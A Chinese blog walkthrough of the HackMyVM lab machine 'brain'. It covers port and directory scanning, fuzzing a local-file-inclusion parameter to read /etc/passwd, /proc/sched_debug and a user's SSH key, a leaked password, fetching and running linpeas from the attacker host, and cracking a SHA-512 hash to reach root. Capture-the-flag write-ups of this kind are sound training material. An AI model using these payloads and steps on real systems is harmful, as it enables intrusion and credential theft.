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记一次hackmyvm综合靶场的渗透测试:brain
知非 2022-03-12 10:19:29 102358
所属地 黑龙江省

前言

Kali攻击机:192.168.1.128

靶机:192.168.1.57

信息收集阶段

nmap -A 192.168.1.57

1647051229_622c01dd67a08c86acc43.png!small?1647051232798

已启用22端口和80端口:

漏洞利用阶段

访问一下80端口:apache的网页

1647051232_622c01e06a543aeb68b76.png!small?1647051235889

我们试着通过apache,试着扫描一下目录。

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.57 -x txt,php,html

1647051238_622c01e6a99f7d3e9822e.png!small?1647051242128

我们访问下以上地址:是个大脑

1647051243_622c01eb72841ef87ad11.png!small?1647051247388

我们进行下一重目录和文件扫描:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.57/brainstorm -x txt,php,html

1647051249_622c01f16d79156f6a901.png!small?1647051252797

我们访问下这个文件?文件内容为空!源代码也为空!

http://192.168.1.57/brainstorm/file.php

我们猜测file.php有一个参数!可以实现本地文件包含!

这里采用wfuzz来猜测具体的参数。

1647051258_622c01fa73ed504e5c279.png!small?1647051261863

wfuzz -c -t 200 --hh=0 -u 'http://192.168.1.57/brainstorm/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

-c: Output with colors

-t N: Specify the number of concurrent connections (10 default)

--hc/hl/hw/hh N[,N]+: Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)

1647051265_622c02015385dbc029b6f.png!small?1647051268688

找到了payload:file

http://192.168.1.57/brainstorm/file.php?file=/etc/passwd

1647051285_622c02151ccad488db958.png!small?1647051288550

我们找到了一个名为Salomon的用户,因为SSH服务正在运行,我们可以尝试窃取您的ID RSA密钥。

我们访问:一下网址,但是没有回显,这里猜测可以权限不够!!

http://192.168.1.57/brainstorm/file.php?file=/home/salomon/.ssh/id_rsa

在这种情况下,我们不能这样做,现在我们可以尝试搜索一些日志或文件,这些日志或文件可能会给我们一些提示。

在这一点上,我们将检查我们是否有读取'/proc/sched debug'文件的权限,该文件将向我们提供有关目标计算机上正在运行的进程的信息:

curl http://192.168.1.57/brainstorm/file.php?file=/proc/sched_debug

Sched Debug Version: v0.11, 4.19.0-13-amd64 #1

ktime                                   : 2415126.404048

sched_clk                               : 2415129.538977

cpu_clk                                 : 2415127.907697

jiffies                                 : 4295496039

sched_clock_stable()                    : 1

sysctl_sched

.sysctl_sched_latency                    : 6.000000

.sysctl_sched_min_granularity            : 0.750000

.sysctl_sched_wakeup_granularity         : 1.000000

.sysctl_sched_child_runs_first           : 0

.sysctl_sched_features                   : 4118331

.sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 3000.004 MHz

.nr_running                    : 2

.load                          : 2097152

.nr_switches                   : 1656812

.nr_load_updates               : 603259

.nr_uninterruptible            : 0

.next_balance                  : 4294.892296

.curr->pid                     : 596

.clock                         : 2415128.010158

.clock_task                    : 2415128.010158

.cpu_load[0]                   : 0

.cpu_load[1]                   : 0

.cpu_load[2]                   : 0

.cpu_load[3]                   : 0

.cpu_load[4]                   : 0

.avg_idle                      : 1000000

.max_idle_balance_cost         : 500000

cfs_rq[0]:/

.exec_clock                    : 0.000000

.MIN_vruntime                  : 15953.970580

.min_vruntime                  : 15953.970580

.max_vruntime                  : 15953.970580

.spread                        : 0.000000

.spread0                       : 0.000000

.nr_spread_over                : 0

.nr_running                    : 2

.load                          : 2097152

.runnable_weight               : 2097152

.load_avg                      : 0

.runnable_load_avg             : 0

.util_avg                      : 0

.util_est_enqueued             : 20

.removed.load_avg              : 0

.removed.util_avg              : 0

.removed.runnable_sum          : 0

.tg_load_avg_contrib           : 0

.tg_load_avg                   : 0

.throttled                     : 0

.throttle_count                : 0

rt_rq[0]:

.rt_nr_running                 : 0

.rt_nr_migratory               : 0

.rt_throttled                  : 0

.rt_time                       : 0.000000

.rt_runtime                    : 950.000000

dl_rq[0]:

.dl_nr_running                 : 0

.dl_nr_migratory               : 0

.dl_bw->bw                     : 996147

.dl_bw->total_bw               : 0

runnable tasks:

S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep

-----------------------------------------------------------------------------------------------------------

S        systemd     1     15943.799599      1967   120         0.000000       678.964273         0.000000 0 0 /

S       kthreadd     2     15824.708867       118   120         0.000000         2.179515         0.000000 0 0 /

I         rcu_gp     3       115.108351         2   100         0.000000         0.002177         0.000000 0 0 /

I     rcu_par_gp     4       116.608498         2   100         0.000000         0.001179         0.000000 0 0 /

I   kworker/0:0H     6      1010.246262         6   100         0.000000         0.057534         0.000000 0 0 /

I   mm_percpu_wq     8       122.178929         2   100         0.000000         0.001170         0.000000 0 0 /

S    ksoftirqd/0     9     15947.810875     27290   120         0.000000      1014.870622         0.000000 0 0 /

I      rcu_sched    10     15951.304339     61266   120         0.000000       431.472639         0.000000 0 0 /

I         rcu_bh    11       128.180266         2   120         0.000000         0.000704         0.000000 0 0 /

S    migration/0    12         0.000000       607     0         0.000000        13.948402         0.000000 0 0 /

R    kworker/0:1    13     15953.970580     31294   120         0.000000      1062.593621         0.000000 0 0 /

S        cpuhp/0    14      1359.186692        11   120         0.000000         0.066647         0.000000 0 0 /

S      kdevtmpfs    15      1360.792843       148   120         0.000000         0.532263         0.000000 0 0 /

I          netns    16       140.201688         2   100         0.000000         0.001677         0.000000 0 0 /

S        kauditd    17      1326.686231         4   120         0.000000         0.072828         0.000000 0 0 /

S     khungtaskd    18     15893.177712        21   120         0.000000         0.587100         0.000000 0 0 /

S     oom_reaper    19       146.203168         2   120         0.000000         0.000961         0.000000 0 0 /

I      writeback    20       148.203284         2   100         0.000000         0.001320         0.000000 0 0 /

S     kcompactd0    21       150.204308         2   120         0.000000         0.001409         0.000000 0 0 /

S           ksmd    22       152.206648         2   125         0.000000         0.001649         0.000000 0 0 /

S     khugepaged    23     15953.765103       246   139         0.000000        21.483636         0.000000 0 0 /

I         crypto    24       156.204428         2   100         0.000000         0.000360         0.000000 0 0 /

I    kintegrityd    25       158.204427         2   100         0.000000         0.000000         0.000000 0 0 /

I        kblockd    26       160.205959         2   100         0.000000         0.003510         0.000000 0 0 /

I    edac-poller    27       176.780567         2   100         0.000000         0.002156         0.000000 0 0 /

I     devfreq_wq    28       178.280835         2   100         0.000000         0.001591         0.000000 0 0 /

S      watchdogd    29         0.000000         2     0         0.000000         0.001419         0.000000 0 0 /

S        kswapd0    30     15432.357950        91   120         0.000000       133.793690         0.000000 0 0 /

I       kthrotld    48       662.225825         2   100         0.000000         0.001990         0.000000 0 0 /

I  ipv6_addrconf    49       663.426241         2   100         0.000000         0.001479         0.000000 0 0 /

I   kworker/u2:1    50     15895.449626       327   120         0.000000        75.510599         0.000000 0 0 /

I          kstrp    59       691.013799         2   100         0.000000         0.001853         0.000000 0 0 /

I        ata_sff   104       816.553958         2   100         0.000000         0.004505         0.000000 0 0 /

S      scsi_eh_0   106       918.691487         4   120         0.000000        12.003768         0.000000 0 0 /

I     scsi_tmf_0   107       818.481049         2   100         0.000000         0.004023         0.000000 0 0 /

S      scsi_eh_1   110      1325.807403        44   120         0.000000         2.510018         0.000000 0 0 /

S      scsi_eh_2   111      1010.246625        22   120         0.000000        22.600484         0.000000 0 0 /

I     scsi_tmf_2   112       820.639506         2   100         0.000000         0.002787         0.000000 0 0 /

I     scsi_tmf_1   113       820.950476         2   100         0.000000         0.002584         0.000000 0 0 /

I   kworker/u2:2   115      1360.558650       117   120         0.000000         3.033553         0.000000 0 0 /

I   kworker/0:1H   153     15950.765331      3060   100         0.000000        40.077081         0.000000 0 0 /

I   kworker/u3:0   184      1129.038243         2   100         0.000000         0.001931         0.000000 0 0 /

S    jbd2/sda1-8   186     15879.453427       466   120         0.000000        14.287603         0.000000 0 0 /

Iext4-rsv-conver   187      1152.858544         2   100         0.000000         0.002988         0.000000 0 0 /

Ssystemd-journal   215     15927.771280       348   120         0.000000        85.075119         0.000000 0 0 /

S  systemd-udevd   236     15943.727742       640   120         0.000000        57.106807         0.000000 0 0 /

Ssystemd-timesyn   273     15943.763342       106   120         0.000000        34.173431         0.000000 0 0 /

S     sd-resolve   298      1543.968432        19   120         0.000000         2.401260         0.000000 0 0 /

I       ttm_swap   296      1336.907980         2   100         0.000000         0.002593         0.000000 0 0 /

S  irq/18-vmwgfx   297         0.000000         4    49         0.000000         0.370559         0.000000 0 0 /

S    dbus-daemon   307     15751.101575      1560   120         0.000000       104.089946         0.000000 0 0 /

S       rsyslogd   311     15946.133667        52   120         0.000000         3.628849         0.000000 0 0 /

S    in:imuxsock   323     15750.963567       184   120         0.000000         5.245293         0.000000 0 0 /

S      in:imklog   324     13010.506399         5   120         0.000000         0.714718         0.000000 0 0 /

S  rs:main Q:Reg   327     15750.955106       223   120         0.000000         3.157403         0.000000 0 0 /

S systemd-logind   312     15943.810307       129   120         0.000000        27.919045         0.000000 0 0 /

S           cron   315     15927.761046        87   120         0.000000         5.525231         0.000000 0 0 /

S           cron   321      1373.830614        37   120         0.000000         2.177455         0.000000 0 0 /

S             sh   342      1376.551561         8   120         0.000000         0.819292         0.000000 0 0 /

Ssalomon:MyBr4iN345      1378.301285        18   120         0.000000         1.436903         0.000000 0 0 /

S         agetty   352      1498.706821        19   120         0.000000         3.172355         0.000000 0 0 /

S         python   356     15951.465294      5126   120         0.000000       310.936487         0.000000 0 0 /

S          sleep   357      1382.512578         3   120         0.000000         0.908624         0.000000 0 0 /

S       dhclient   360      1532.451454        83   120         0.000000         9.039763         0.000000 0 0 /

S           sshd   374      1694.347588        49   120         0.000000        22.179254         0.000000 0 0 /

S        apache2   399     15950.977388      2599   120         0.000000       293.500960         0.000000 0 0 /

S        apache2   562     15556.515376      1647   120         0.000000       342.403133         0.000000 0 0 /

>R        apache2   596     15951.307296      1664   120         0.000000       378.981437         0.000000 0 0 /

S        apache2   601     15858.749953      1652   120         0.000000       359.194587         0.000000 0 0 /

S        apache2   619     15440.166013      1639   120         0.000000       329.132261         0.000000 0 0 /

S        apache2   630     15951.252187      1648   120         0.000000       371.023059         0.000000 0 0 /

S        apache2   653     15843.266997      1652   120         0.000000       329.614204         0.000000 0 0 /

S        apache2   686     15440.982750      1401   120         0.000000       307.299121         0.000000 0 0 /

S        apache2   690     15440.116897      1332   120         0.000000       288.804118         0.000000 0 0 /

S        apache2   698     15442.517737      1335   120         0.000000       273.474257         0.000000 0 0 /

S        apache2   704     15820.955217      1336   120         0.000000       278.010601         0.000000 0 0 /

I    kworker/0:2   717     15827.714082       159   120         0.000000         5.706413         0.000000 0 0 /

I    kworker/0:0   773     15950.868663       115   120         0.000000         3.783944         0.000000 0 0 /

┌──(root���kali)-[~]

└─#

我不得不切断命令的输出,因为它太长了…可能看起来没什么有趣的,但是,是的,我们可以看到,在一个地方提到了著名的用户所罗门,然后是两个点,看起来像他的密码(我按了X)。

使用以下命令,我们将尝试通过SSH连接到凭据:

SSH密码:MyBr4iN

ssh salomon@192.168.1.57

1647051313_622c02313e0c4b9e89fa0.png!small?1647051316619

1647051335_622c024706c711729548b.png!small?1647051338555

第一个flag:

onS6l**********************KY8sQ

权限提升阶段

接下里,需要提权到root。

在这一点上,我们已经有了对机器的访问权,但我们还不是具有高特权(root)的用户,因此更容易升级特权。我们将使用linpeas。Linpeas是一个工具,帮助我们在这个阶段。

我们现在本机上把这个脚本下载下来:

下载地址:https://github.com/carlospolop/PEASS-ng/releases/tag/20220220

Kali开启HTTP:

python3 -m http.server

1647051340_622c024cbdf328ce16af4.png!small?1647051344076

普通用户所在主机下载该脚本:

wget http://192.168.1.128:8000/linpeas.sh

chmod 600 linpeas.sh

./linpeas.sh

Check weird & unexpected proceses run by root:

检查root运行的奇怪和非预期的进程:

https://book.hacktricks.xyz/linux-unix/privilege-escalation

1647051346_622c02520ac60064f40f9.png!small?1647051349337

我们可以看到root用户正在使用python运行服务器。我们将向服务器发出GET请求:

mkdir brain

cd brain

wget 127.0.0.1:65000

1647051351_622c02578de503611ac80.png!small?1647051354909

1647051357_622c025d610386d71a42c.png!small?1647051360698

看来我们找到了一个散列,我们要在本地破解它。

echo 065BB0B9A0C654E5B3B6292C4698BD67CE6A331209D941989EC4D728FBE3290E47D2058839215BBE6144F51E7FCE8A8C6A5626E0CB7521641D742251F5A17167 >> hash

导出来!!!

然后通过hashcat工具进行解密,字典用140M那个rockyou.txt!!!

1647051402_622c028ad5f5229113521.png!small

hashcat -O -a0 -m1700 hash /usr/share/wordlists/rockyou.txt

-O, --optimized-kernel-enable || Enable optimized kernels (limits password length)

充分利用kernel,限制密码长度

-a, --attack-mode | Num  | Attack-mode, see references below

进攻模式:

# | Mode

===+======

0 | Straight

1 | Combination

3 | Brute-force

6 | Hybrid Wordlist + Mask

7 | Hybrid Mask + Wordlist

-m, --hash-type| Num  | Hash-type, see references below

1700 | SHA2-512| Raw Hash

065bb0b9a0c654e5b3b6292c4698bd67ce6a331209d941989ec4d728fbe3290e47d2058839215bbe6144f51e7fce8a8c6a5626e0cb7521641d742251f5a17167:gemini

我们把散列!现在我们要成为root提供decifrada密码。

Contraseña:

root@Brain:/home/salomon# id

uid=0(root) gid=0(root) grupos=0(root)

find / -name root.txt -print

root@Brain:/home/salomon# cat /root/root.txt

gm**********************baoUWM

Root的flag是:gm**********************baoUWM

后记

如果有什么疑问,欢迎在评论区交流!

# 渗透测试 # web安全 # CTF # 网络安全技术
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